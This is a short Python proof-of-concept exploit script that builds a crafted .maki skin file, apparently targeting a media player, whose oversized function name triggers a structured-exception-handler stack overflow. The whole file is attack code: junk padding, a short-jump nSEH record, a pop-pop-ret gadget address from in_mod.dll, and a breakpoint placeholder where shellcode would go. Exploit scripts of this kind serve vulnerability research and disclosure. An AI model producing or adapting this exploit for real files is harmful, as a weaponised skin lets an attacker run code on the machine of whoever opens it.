#!/usr/bin/env python
import struct


def build_skin(xpl):
    length_xpl = struct.pack('<H', len(xpl))  # unsigned short little endian
    header = "\x46\x47"             # magic
    header += "\x03\x04"            # version
    header += "\x17\x00\x00\x00"
    types = "\x01\x00\x00\x00"     # count
    # class 1 => Object
    types += "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
    # functions
    functions = "\x37\x00\x00\x00"  # count
    # function 1
    functions += "\x01\x01"         # class
    functions += "\x00\x00"         # dummy
    functions += length_xpl      # function name length
    functions += xpl             # crafted function name

    maki = header
    maki += types
    maki += functions
    return maki


junk = 'A' * 16756
# x86 jmp 0x06 + NOPs
nseh = struct.pack('<L', 0x909006EB)
# pop ecx # pop ecx # ret  |  {PAGE_EXECUTE_READ} [in_mod.dll]
sehhandler = struct.pack('<L', 0x12f02bc3)
# there is no need for padding given that at some point a read is
# done from a not valid address, this will trigger SEH Handler
payload = struct.pack('<L', 0xCCCCCCCC)
xpl = build_skin(junk + nseh + sehhandler + payload)

with open('mcvcore-4.maki', 'wb') as fd:
    fd.write(xpl)
